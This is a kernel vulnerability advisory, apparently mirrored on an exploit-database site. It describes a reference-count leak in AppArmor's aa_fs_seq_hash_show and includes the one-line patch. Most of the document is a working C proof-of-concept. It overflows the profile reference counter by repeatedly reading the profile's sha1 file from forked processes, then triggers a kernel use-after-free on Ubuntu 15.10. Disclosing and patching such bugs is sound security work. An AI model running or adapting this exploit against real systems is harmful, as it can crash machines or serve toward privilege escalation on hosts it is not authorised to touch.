/*
There's a reference count leak in aa_fs_seq_hash_show that can be used to overflow the reference counter and trigger a kernel use-after-free
static int aa_fs_seq_hash_show(struct seq_file *seq, void *v)
{
struct aa_replacedby *r = seq->private;
struct aa_profile *profile = aa_get_profile_rcu(&r->profile); // <--- takes a reference on profile
unsigned int i, size = aa_hash_size();
if (profile->hash) {
for (i = 0; i < size; i++)
seq_printf(seq, "%.2x", profile->hash[i]);
seq_puts(seq, "\n");
}
return 0;
} // <-- no reference dropped
See attached for a PoC that triggers a use-after-free on an aa_label object on Ubuntu 15.10 with the latest 4.2.0.35 kernel; the Ubuntu kernel appears to use an older version of AppArmor prior to some refactoring, but the same issue is present.
static int aa_fs_seq_hash_show(struct seq_file *seq, void *v)
{
struct aa_replacedby *r = seq->private;
struct aa_label *label = aa_get_label_rcu(&r->label); // <--- takes a reference on label
struct aa_profile *profile = labels_profile(label);
unsigned int i, size = aa_hash_size();
if (profile->hash) {
for (i = 0; i < size; i++)
seq_printf(seq, "%.2x", profile->hash[i]);
seq_puts(seq, "\n");
}
return 0;
} // <--- no reference dropped
I noticed in reproducing this issue that it appears that there has been a patch applied to the very latest Ubuntu kernel shipped in 16.04 that fixes this that hasn't been upstreamed or backported.
The fix is just to correctly drop the acquired reference.
index ad4fa49..798d492 100644
--- a/security/apparmor/apparmorfs.c
+++ b/security/apparmor/apparmorfs.c
@@ -331,6 +331,7 @@ static int aa_fs_seq_hash_show(struct seq_file *seq, void *v)
seq_printf(seq, "%.2x", profile->hash[i]);
seq_puts(seq, "\n");
}
+ aa_put_profile(profile);
return 0;
}
*/
#include <unistd.h>
#include <fcntl.h>
#include <keyutils.h>
#include <err.h>
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/apparmor.h>
#define BASE_PATH "/sys/kernel/security/apparmor/policy/profiles/sbin.dhclient.2"
#define HASH_PATH BASE_PATH "/sha1"
void add_references(int hash_fd, int refs_to_add) {
char buf[1];
for (int i = 0; i < refs_to_add; ++i) {
pread(hash_fd, buf, sizeof(buf), 0);
}
}
int main(int argc, char** argv) {
int hash_fd;
int fds[0x100];
pid_t pid;
hash_fd = open(HASH_PATH, O_RDONLY);
if (hash_fd < 0) {
err(-1, "failed to open HASH_PATH");
}
fprintf(stderr, "[*] forking to speed up initial reference count increments\n");
for (int i = 0; i < 0xf; ++i) {
if (!fork()) {
add_references(hash_fd, 0x11111100);
exit(0);
}
}
for (int i = 0; i < 0xf; ++i) {
int status;
wait(&status);
}
fprintf(stderr, "[*] initial reference count increase finished\n");
fprintf(stderr, "[*] entering profile\n");
aa_change_profile("/sbin/dhclient");
pid = fork();
if (pid) {
for (int i = 0; i < 0x100; ++i) {
fds[i] = open("/proc/self/net/arp", O_RDONLY);
}
}
else {
add_references(hash_fd, 0x100);
exit(0);
}
fprintf(stderr, "[*] past the point of no return");
sleep(5);
for (int i = 0; i < 0x100; ++i) {
close(fds[i]);
}
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation